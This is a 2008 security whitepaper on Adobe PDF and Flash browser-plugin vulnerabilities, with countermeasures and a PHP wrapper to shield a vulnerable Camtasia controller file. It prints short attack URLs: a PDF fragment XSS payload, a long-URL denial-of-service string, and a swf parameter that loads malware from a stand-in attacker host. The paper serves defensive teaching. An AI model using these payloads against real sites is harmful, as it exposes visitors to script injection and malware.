YGN ETHICAL HACKER GROUP

Whitepaper

Web Browser Plugins Vulnerabilities

By

d0ubl3_h3lix

Thur Feb 7 2008

Abstract

Recently dozens of web browser plugins vulnerabilities have been found because the white/black security communities exert much more focus on web exploits. Those plugins include Adobe PDF, Flash, QuickTime, and JPEG …etc. The main exploit is that attackers can insert or inject exploit codes in those file types which are intended to run on victim's web browser. Since those vulnerabilities are none of the business with web browser software itself, there is no solution till respective vendors produce patches. In this paper, I shall highlight vulnerabilities related to PDF & Flash plugins. I shall also work out ways to stop malicious bad guys who tend to attack your web site visitors by taking advantage of those holes.

Adobe PDF

The Adobe PDF lets us dynamically set parameters for zoom, page. …etc. For instance, if you want to go to page 2 with zoom in level 120%, you specify:

```
http://www.yehg.org/xss/test.pdf#zoom=120&page=2
```

Similarly, if you want to search 'XSS' in the above PDF, you can do:

```
http://www.yehg.org/xss/test.pdf#search=[XSS]
```

While these features are actually convenient for web authors to provide straight ways of presenting desired information, they are also useful for attackers to abuse to users somehow. The following XSS vulnerability affects PDF version < 7.9:

```
http://www.yehg.org/xss/test.pdf#zoom=javascript:alert(0)
```

What's more, if we provide PDF file with overly long URL, the browser hangs forever, causing DOS to users.

```
http://www.yehg.org/xss/test.pdf##########################...etc
```

This shows that Buffer Overflow injection can be accomplished.

Countermeasures

Web Developers can do:

1. Force downloading PDF files
2. Wrap PDF files in server-side file (which must deny every parameter) like

```
viewpdf.php?file=test.pdf
```

End-Users can do:

1. Just remove or disable PDF browser plug-in. This will force user to download PDF files by browser rather than directly opening PDF files within browser window.
2. Install Useful Firefox extensions: XSSWarning, PDFDownload

Adobe Flash

You can search its vulnerabilities information in securityfocus.com advisories and news. Fortunately, Adobe Corporation promptly fixes the vulnerabilities in next releases. So a good way for end-user is just to update the latest flash plugin. But it has to be done manually. Sometimes developers themselves make mistake in applications, which is none of the business with plugin vulnerabilities.

Case Study: Techsmith Camtasia Studio 4.x XSS Vulnerability

A popular vendor is Techsmith Camtasia Studio, a screen-recording software which can export a lot of file formats for web including gif, swf, mov…etc.
Camtasia version < 5.x outputs a vulnerable _controller.swf for loading main movie file. The following payload lets attacker load any malicious swf files from any domain, bypassing flash player cross-domain policy:

```
http://ww.yehg.org/xss/out_controller.swf?csPreloader=http://attacker/malware.swf
```

It has been suggested that users should upgrade to version 5.x. However, it is not a good solution for a site which has tons of swf files outputted from version 4.x. Recompiling swf in version 5.x takes incredible amount of time and is not cost-effective solution for an online multimedia training web site. In this case, end-users can do nothing. The sole responsibility is on the affected company that provides those vulnerable swf files. The best possible solution is to wrap vulnerable swf in server-side file.

Countermeasure

The following is a sample solution for Camtasia Vulnerability. Take this idea to protect similar vulnerabilities in your applications.

```
48
49 if (!empty($_SERVER['QUERY_STRING']) || count($_POST)>0 )
50 {
51     die("Hacking Attempts!");
52 }
53
54 $d = dir(getcwd());
55 $controller_file = '';
56 while (false !== ($entry = $d->read()))
57 {
58    if(is_file($entry) && eregi("_controller\.swf$",$entry))
59    {
60         $controller_file  =  $entry;
61    }
62
63 }
64 $d->close();
65
66 $isWin32 = (eregi("Win",$_SERVER["SERVER_SOFTWARE"]));
67 if ($isWin32)$controller_path = getcwd()."\\".$controller_file;
68 else { $controller_path = getcwd()."/".$controller_file;}
69
70 if (file_exists($controller_path))
71 {
72     header('Content-type: application/x-shockwave-flash');
73     $filename = $controller_path;
74     $handle = fopen($filename, "rb");
75     $contents = fread($handle, filesize($filename));
76     fclose($handle);
77     echo $contents;
78 }else
79 {
80 echo 'controller.swf does not exist';
81 }
82
```

Save the above code as controller.php or download it at Papers section. It denies any parameters for any kinds of injections. See next page for instructions:

```
Step 1
======
  In .htaccess of your root folder
    Write:
    <FilesMatch "_controller\.swf$">
       Order allow,deny
       Deny from all
    </FilesMatch>

Step 2
======
  Place this controller.php into every of your Camtasia movie folders.
  For instance, generally, when we produce a movie called 'output', the default output is

  /ouput/       <------- output folder which contains swf files and associated html,css files
  /output/output.swf
  /output/output_config.xml
  /output/output_controller.swf  <------ affected vulnerable file that we protect access from web clients
  /output/output_preload.swf
  /output/output.html
  /output/output_nofp_bg.gif
  /output/cam_embed.js
  /output/FlashTemplate.css
  /output/swfobject.js
  /output/ProductionInfo.xml
  /output/controller.php     <--- our protection file

Step 3
======
  With scenario above, open output.html
  Replace output_controller.swf name to controller.php like:

  var fo = new SWFObject( "controller.php", "controller.php", "800", "620", "7", "#FFFFFF", false, "mymovie" );
```

As you see, the server will deny Internet users from directly accessing output_controller.swf. Therefore, attacker can't inject anything using that vulnerable swf file. Then this vulnerability is over without upgrading to Camtasia Version 5.x.

Conclusion

The first line of defense is that developers should check possible flaws in their own application logic. Sadly average Internet users are not technically savvy. Thus they are unlikely to keep up with latest plugins versions. For instance, even if a flash developer forces users to download or install latest flash plugins, it is up to their wishes; hence they can deny updates though some plugins wares like Adobe PDF include Autoupdate feature. A worse-case scenario is that they do not control their workstations in work or office environments where system administrators there seem to be lack of web security knowledge. As such, it would be better if web developers can protect highly likely web clients security leakage to some extent.